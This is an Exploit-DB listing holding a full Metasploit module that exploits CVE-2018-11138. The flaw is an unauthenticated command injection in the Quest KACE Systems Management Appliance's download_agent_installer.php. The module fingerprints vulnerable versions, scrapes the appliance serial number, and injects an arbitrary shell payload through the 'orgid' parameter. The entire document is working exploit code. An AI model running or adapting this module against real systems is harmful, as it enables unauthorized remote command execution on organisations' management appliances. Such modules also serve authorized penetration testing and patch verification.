EDB-ID: 44950 | Author: Metasploit | Published: 2018-06-27 | CVE: CVE-2018-11138 | Type: Remote | Platform: Unix | Aliases: N/A | Advisory/Source: Link | Tags: Metasploit Framework (MSF), Command Injection, Remote | Vulnerable App: N/A | # This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Quest KACE Systems Management Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Quest KACE
Systems Management Appliance version 8.0.318 (and possibly prior).
The `download_agent_installer.php` file allows unauthenticated users
to execute arbitrary commands as the web server user `www`.
A valid Organization ID is required. The default value is `1`.
A valid Windows agent version number must also be provided. If file
sharing is enabled, the agent versions are available within the
`\\kace.local\client\agent_provisioning\windows_platform` Samba share.
Additionally, various agent versions are listed on the KACE website.
This module has been tested successfully on Quest KACE Systems
Management Appliance K1000 version 8.0 (Build 8.0.318).
},
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'unix', # FreeBSD
'Arch' => ARCH_CMD,
'DisclosureDate' => 'May 31 2018',
'Author' =>
[
'Leandro Barragan', # Discovery and PoC
'Guido Leo', # Discovery and PoC
'Brendan Coles', # Metasploit
],
'References' =>
[
['CVE', '2018-11138'],
['URL', 'https://support.quest.com/product-notification/noti-00000134'],
['URL', 'https://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities']
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x27",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl'
}
},
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0))
register_options [
OptString.new('SERIAL', [false, 'Serial number', '']),
OptString.new('ORGANIZATION', [true, 'Organization ID', '1']),
OptString.new('AGENT_VERSION', [true, 'Windows agent version', '8.0.152'])
]
end
def check
res = send_request_cgi('uri' => normalize_uri('common', 'download_agent_installer.php'))
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.code == 302 && res.headers.to_s.include?('X-KACE-Appliance')
vprint_status 'Remote host is not a Quest KACE appliance'
return CheckCode::Safe
end
unless res.headers['X-KACE-Version'] =~ /\A([0-9]+)\.([0-9]+)\.([0-9]+)\z/
vprint_error 'Could not determine KACE appliance version'
return CheckCode::Detected
end
version = Gem::Version.new res.headers['X-KACE-Version'].to_s
vprint_status "Found KACE appliance version #{version}"
# Patched versions : https://support.quest.com/product-notification/noti-00000134
if version < Gem::Version.new('7.0') ||
(version >= Gem::Version.new('7.0') && version < Gem::Version.new('7.0.121307')) ||
(version >= Gem::Version.new('7.1') && version < Gem::Version.new('7.1.150')) ||
(version >= Gem::Version.new('7.2') && version < Gem::Version.new('7.2.103')) ||
(version >= Gem::Version.new('8.0') && version < Gem::Version.new('8.0.320')) ||
(version >= Gem::Version.new('8.1') && version < Gem::Version.new('8.1.108'))
return CheckCode::Appears
end
CheckCode::Safe
end
def serial_number
return datastore['SERIAL'] unless datastore['SERIAL'].to_s.eql? ''
res = send_request_cgi('uri' => normalize_uri('common', 'about.php'))
return unless res
res.body.scan(/Serial Number: ([A-F0-9]+)/).flatten.first
end
def exploit
check_code = check
unless [CheckCode::Appears, CheckCode::Detected].include? check_code
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
serial = serial_number
if serial.to_s.eql? ''
print_error 'Could not retrieve appliance serial number. Try specifying a SERIAL.'
return
end
vprint_status "Using serial number: #{serial}"
print_status "Sending payload (#{payload.encoded.length} bytes)"
vars_get = Hash[{
'platform' => 'windows',
'serv' => Digest::SHA256.hexdigest(serial),
'orgid' => "#{datastore['ORGANIZATION']}#; #{payload.encoded} ",
'version' => datastore['AGENT_VERSION']
}.to_a.shuffle]
res = send_request_cgi({
'uri' => normalize_uri('common', 'download_agent_installer.php'),
'vars_get' => vars_get
}, 10)
unless res
fail_with Failure::Unreachable, 'Connection failed'
end
unless res.headers.to_s.include?('KACE') || res.headers.to_s.include?('KBOX')
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end
case res.code
when 200
print_good 'Payload executed successfully'
when 404
fail_with Failure::BadConfig, 'The specified AGENT_VERSION is not valid for the specified ORGANIZATION'
when 302
if res.headers['location'].include? 'error.php'
fail_with Failure::UnexpectedReply, 'Server encountered an error'
end
fail_with Failure::BadConfig, 'The specified SERIAL is incorrect'
else
print_error 'Unexpected reply'
end
register_dir_for_cleanup "/tmp/agentprov/#{datastore['ORGANIZATION']}#;/"
end
end
